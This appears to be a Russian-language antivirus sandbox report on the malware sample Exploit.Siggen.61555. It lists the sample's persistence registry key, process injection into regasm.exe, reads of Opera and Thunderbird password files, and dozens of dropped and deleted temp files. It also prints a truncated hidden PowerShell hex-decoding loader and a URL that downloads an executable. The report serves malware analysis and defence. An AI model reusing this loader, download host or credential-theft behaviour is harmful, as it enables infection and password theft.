Exploit.Siggen.61555

Техническая информация

Для обеспечения автозапуска и распространения

Модифицирует следующие ключи реестра

[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'oHfmcVFM' = '%APPDATA%\GIewGsB\dSnja.exe'

Создает или изменяет следующие файлы

%APPDATA%\microsoft\windows\start menu\programs\startup\wscript.url

Вредоносные функции

Запускает на исполнение (эксплоит)

'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function vbcfe6 {param($acae9)$g2f5e='v1e34b3';$f6e573e='';for ($i=0; $i -lt $acae9.length;$i+=2){$k6e7b5c=[convert]::ToByte($acae9.Substring($i,2),16);$f6e573e+=[char]($k...

Внедряет код в

следующие системные процессы:

%WINDIR%\microsoft.net\framework\v2.0.50727\regasm.exe

Читает файлы, отвечающие за хранение паролей сторонними программами

%APPDATA%\opera software\opera stable\login data
%APPDATA%\thunderbird\profiles.ini

Изменения в файловой системе

Создает следующие файлы

%TEMP%\lfuuqibq.0.cs
%TEMP%\rese998.tmp
%TEMP%\c2bpucjv.dll
%TEMP%\rese9b7.tmp
%TEMP%\lfuuqibq.dll
%TEMP%\resea15.tmp
%TEMP%\reseb5d.tmp
%TEMP%\km9dzaee.dll
%TEMP%\ywb1y1o7.dll
%PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\2f1a6504-0641-44cf-8bb5-3612d865f2e5.vsch
%LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.word\~wrf{831e1e7f-09a0-410a-a6db-f83995134946}.tmp
%APPDATA%\v5d78.exe
%HOMEPATH%\wscript\wscript.vbs
%HOMEPATH%\wscript\rmactivate_ssp_isv.exe
%APPDATA%\giewgsb\dsnja.exe
%PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\policy.vpol
%PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\3ccd5499-87a8-4b10-a215-608888dd3b55.vsch
%TEMP%\csceb4c.tmp
%TEMP%\dryndstm.dll
%TEMP%\rese9e6.tmp
%TEMP%\dryndstm.out
%TEMP%\lfuuqibq.cmdline
%TEMP%\lfuuqibq.out
%TEMP%\km9dzaee.0.cs
%TEMP%\km9dzaee.cmdline
%TEMP%\km9dzaee.out
%TEMP%\dryndstm.0.cs
%TEMP%\dryndstm.cmdline
%TEMP%\ywb1y1o7.0.cs
%TEMP%\csce9d5.tmp
%TEMP%\ywb1y1o7.cmdline
%TEMP%\ywb1y1o7.out
%TEMP%\c2bpucjv.0.cs
%TEMP%\c2bpucjv.cmdline
%TEMP%\c2bpucjv.out
%TEMP%\csce987.tmp
%TEMP%\csce9a6.tmp
%TEMP%\cscea04.tmp
%LOCALAPPDATA%\microsoft\vault\4bf4c442-9b8a-41a0-b380-dd4a704ddb28\policy.vpol

Удаляет следующие файлы

%TEMP%\rese998.tmp
%TEMP%\csceb4c.tmp
%TEMP%\ywb1y1o7.0.cs
%TEMP%\ywb1y1o7.dll
%TEMP%\ywb1y1o7.pdb
%TEMP%\ywb1y1o7.cmdline
%TEMP%\ywb1y1o7.out
%TEMP%\km9dzaee.out
%TEMP%\dryndstm.out
%TEMP%\km9dzaee.cmdline
%TEMP%\km9dzaee.dll
%TEMP%\km9dzaee.0.cs
%TEMP%\dryndstm.pdb
%TEMP%\dryndstm.cmdline
%TEMP%\dryndstm.dll
%TEMP%\reseb5d.tmp
%TEMP%\km9dzaee.pdb
%TEMP%\cscea04.tmp
%TEMP%\c2bpucjv.dll
%TEMP%\csce987.tmp
%TEMP%\rese9e6.tmp
%TEMP%\csce9d5.tmp
%TEMP%\rese9b7.tmp
%TEMP%\csce9a6.tmp
%TEMP%\c2bpucjv.pdb
%TEMP%\c2bpucjv.cmdline
%TEMP%\lfuuqibq.pdb
%TEMP%\c2bpucjv.0.cs
%TEMP%\c2bpucjv.out
%TEMP%\lfuuqibq.0.cs
%TEMP%\lfuuqibq.out
%TEMP%\lfuuqibq.dll
%TEMP%\lfuuqibq.cmdline
%TEMP%\resea15.tmp
%TEMP%\dryndstm.0.cs

Сетевая активность

TCP

Запросы HTTP GET

http://16#.#2.41.247/tt3.exe

Другое

Создает и запускает на исполнение

'%APPDATA%\v5d78.exe'
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function vbcfe6 {param($acae9)$g2f5e='v1e34b3';$f6e573e='';for ($i=0; $i -lt $acae9.length;$i+=2){$k6e7b5c=[convert]::ToByte($acae9.Substring($i,2),16);$f6e573e+=[char]($k...' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\lfuuqibq.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\km9dzaee.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\dryndstm.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ywb1y1o7.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\c2bpucjv.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESE998.tmp" "%TEMP%\CSCE987.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESE9B7.tmp" "%TEMP%\CSCE9A6.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESE9E6.tmp" "%TEMP%\CSCE9D5.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESEA15.tmp" "%TEMP%\CSCEA04.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESEB5D.tmp" "%TEMP%\CSCEB4C.tmp"' (со скрытым окном)

Запускает на исполнение

'%ProgramFiles%\microsoft office\office14\excel.exe' -Embedding
'%ProgramFiles%\microsoft office\office14\excelcnv.exe' -Embedding
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\lfuuqibq.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\km9dzaee.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\dryndstm.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ywb1y1o7.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\c2bpucjv.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESE998.tmp" "%TEMP%\CSCE987.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESE9B7.tmp" "%TEMP%\CSCE9A6.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESE9E6.tmp" "%TEMP%\CSCE9D5.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESEA15.tmp" "%TEMP%\CSCEA04.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESEB5D.tmp" "%TEMP%\CSCEB4C.tmp"
'%WINDIR%\microsoft.net\framework\v2.0.50727\regasm.exe'